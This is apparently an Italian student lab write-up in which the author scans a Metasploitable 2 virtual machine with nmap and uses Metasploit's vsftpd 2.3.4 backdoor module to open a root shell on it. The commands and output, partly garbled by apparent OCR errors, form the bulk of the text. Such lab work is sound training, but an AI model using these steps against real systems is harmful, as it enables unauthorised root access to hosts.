Cambio l'ip di Metasploitable 2

```
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5).

# The loopback network interface auto lo iface lo inet loopback

# The primary network interface

auto eth0  
iface eth0 inet static address 192.168.1.149  
netmask 255.255.255.0  
network 192.168.50.0  
broadcast 192.168.50.0  
gateway 192.168.50.1
```

Verifico che l'IP sia cambiato

```
msfadmin@metasploitable:~$ ifconfig
          Link encap:Ethernet HWaddr 08:00:27:4a:ad:67 inet addr:192.168.1.149 Bcast:192.168.50.255 Mask:255.255.2
eth0
          inet6 addr: fe80::a00:27ff:fe4a:ad67/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:43 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4207 (4.1 KB) TX bytes:4995 (4.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000
          Link encap:Local Loopback
lo
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU: 16436 Metric: 1
          RX packets:39 errors:0 dropped:0 overruns:0 frame:0
          TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:16841 (16.4 KB) TX bytes:16841 (16.4 KB)
```

Controllo che le due macchine comunichino

```
(natalino® kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=8.48 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=21.3 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=15.8 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=14.8 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=5.63 ms
^C
— 192.168.1.149 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4066ms
rtt min/avg/max/mdev = 5.625/13.204/21.293/5.559 ms
```

Avvio Metasploit

```
-(natalino®kali)-[~]
└$ msfconsole
                                                                       d8,
                                                                              d8P
                                                                           d888888p
                      d8P
                   d88888P
                                                                            ?88'
  d8bd8b.d8p d8888b ?88' d888b8b
                                                             d8P
                                                                        ?8b 88P
  88P`?P'?P d8b_,dP 88P d8P' ?88
                                                            d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b ,88b
d88' d88b 8b`?8888P'`?8b`?88P'.aS
                                                ?88,.d88b, d88 d8P' ?88 88P `?8b
                                                 ?88' ?88 ?88 88b d88 d88
                                                           88b ?8888P
                                                 88b d8P
                                                 88888P'
                                                             88n
                                                d88P'
       =[ metasploit v6.3.27-dev
     --=[ 2335 exploits - 1220 auxiliary - 413 post
  -- --=[ 1382 payloads - 46 encoders - 11 nops
  -- --=[ 9 evasion
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services
Metasploit Documentation: https://docs.metasploit.com/
<u>msf6</u> >
```

Lancio una scansione con Nmap sulla macchina Metasploitable per vedere i servizi attivi

```
(natalino kall)-[~]

$ namp -sV 192.168.1.149

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 14:51 CET

Nmap scan report for METASPLOITABLE.station (192.168.1.149)

Host is up (0.0014s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp
22/tcp
                  open ftp
open ssh
                                                              vsftpd 2.3.4
OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Linux telnetd
                    open telnet
                                                              Postfix smtpd
ISC BIND 9.4.2
25/tcp
53/tcp
                    open smtp
open domain
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp
                   open
                                   exec?
513/tcp open
514/tcp open
                                   login
                                  tcpwrapped
                                                             GNU Classpath grmiregistry
Metasploitable root shell
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)
(access denied)
UnrealIRCd
Anache Jsery (Protocol v1.3)
1099/tcp open java-rmi
1524/tcp open bindshell
2121/tcp open ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.18 seconds
```

Controllo se esiste un exploit per il servizio vsftpd

Uso il secondo

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Controllo quali parametri devono essere configurati

Setto l'indirizzo della macchina vittima

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts ⇒ 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > □
```

Controllo se l'IP è stato settato correttamente

Vedo quali payload sono disponibili

Uso quello disponibile

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload ⇒ cmd/unix/interact

Verifico i parametri necessari per eseguire il payload

Lancio l'attacco

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.9:41241 → 192.168.1.149:6200) at 2023-11-06 15:22:16 +0100
```

Verifico di essere all'interno del mio target

```
ifconfig
eth0
         Link encap:Ethernet HWaddr 08:00:27:4a:ad:67
         inet addr:192.168.1.149 Bcast:192.168.50.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe4a:ad67/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:1982 errors:0 dropped:0 overruns:0 frame:0
         TX packets:1633 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:163402 (159.5 KB) TX bytes:154323 (150.7 KB)
         Base address:0×d020 Memory:f0200000-f0220000
lo
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:131 errors:0 dropped:0 overruns:0 frame:0
         TX packets:131 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:62177 (60.7 KB) TX bytes:62177 (60.7 KB)
```

Creo la cartella test_metasploit nella directory di root /

cd / mkdir test_metasploit